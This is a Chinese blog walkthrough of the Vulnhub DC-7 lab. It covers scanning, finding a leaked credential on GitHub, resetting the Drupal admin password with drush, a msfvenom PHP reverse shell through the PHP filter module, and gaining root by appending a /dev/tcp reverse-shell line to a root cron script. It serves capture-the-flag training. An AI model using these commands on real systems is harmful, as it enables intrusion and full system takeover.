banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

DC:7-Vulnhub 逐步指南

靶機地址

工具及漏洞信息#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • droopescan
  • 計劃任務提權

** 部分工具的用法和詳細說明請參考此系列的第一篇文章:bossplayersCTF:1-Vulnhub 逐步指南 **

0x00 信息收集#

掃描靶機信息#

netdiscover-r參數掃描192.168.1.0/16結果如下:

image

nmap掃描主機及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.8

image

robots.txt沒有什麼可利用的,首頁最下面寫著Powered by Drupal

掃描路徑#

dirb掃描路徑:

dirb http://192.168.1.8

image

dirsearch

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

image

gobuster

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

image

0x01 漏洞掃描#

一圈目錄下來,都沒什麼特別的,user/login界面也沒有弱密碼:

image

而且後台限制了 5 次登錄失敗會被暫時鎖定,只能從網站框架和模板入手了

Github上針對Drupal的漏掃工具有droopescandrupwn

但是後者不好用就不做介紹了

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32

image

而漏洞庫不包含掃描出來的版本:

image

cms本身漏洞無法利用,那我們就解決作者本身吧::quyin:OK::

0x01 獲得普通帳號#

首頁的底部除了Powered by Drupal

還有作者的名字@DC7USER,搜了一下發現是twitter帳號:

image

並且在首頁放著一個大大的github鏈接,作者只有一個倉庫staffdb

config.php裡明晃晃地寫著帳號密碼和數據庫名字:

image

$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";

於是用ssh登錄進去:ssh dc7user@192.168.1.9,獲得了dc7usershell:

image

0x02 獲取 shell#

獲取到shell第一步當然是查看當前目錄有什麼文件:

image

mbox很顯眼,查看一下:

image

郵件內容應該是備份的日誌,調用的腳本是/opt/scripts/backups.sh

貌似還是root權限執行的。如果當前用戶有腳本的寫入權限,那麼應該就可以提權了。

查了一下www-dataroot用戶才能修改,內容是用來管理Drupal站點的shell

image

其中有一句話引起了我的注意:

drush sql-dump --result-file=/home/dc7user/backups/website.sql

查了一下,這個drush命令是可以用來修改密碼的:

drush user-password USERNAME --password="SOMEPASSWORD"

於是嘗試修改admin的密碼,需要到某些指定目錄例如/var/www/html才能修改:

image

獲得管理員賬戶之後我們登錄網站來反彈shell

image

出於安全考量,PHP Filter已經從Drupal核心中移除

後續作為一個module存在,可以通過手動下載安裝:

image

打開網站的模塊安裝界面/admin/modules:

image

image

搜索模塊php,選中我們剛才安裝的PHP,點擊install啟動模塊:

image

模塊安裝好後就可以開始利用漏洞了,在Content中新建一個Basic page

然後在Title輸入頁面的名稱webshell,在Body中放入反彈shellPHP代碼

我這裡使用msfvenom生成的php shell:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw

Text format的位置選擇PHP code:

image

弄完之後,先別操作,在kali上監聽端口

msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp

image

最後點擊Preview按鈕,第一次可能不會成功,退出Preview再來一次即可:

image

獲取到的shellwww-root用戶的:

image

0x03 backups.sh 提權 root#

之前郵件裡的備份計劃任務使用的腳本/opt/scripts/backups.sh只有rootwww-data用戶可以修改。

所以接下來就是將反彈shell的代碼附加到backups.sh腳本中

(因為計劃任務是root權限執行的,反彈回來的shell也會是root用戶)

然後在kali中監聽相應端口,等待計劃任務的執行:

使用shell進入命令行
使用/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
在另外的終端監聽指定端口:nc -lvp 3456
將反彈shell代碼寫進backups.sh:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh

image

等待靶機執行定時任務就可以獲得rootshell:

image

成功獲得flag:

image

本文完。

參考文章:

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。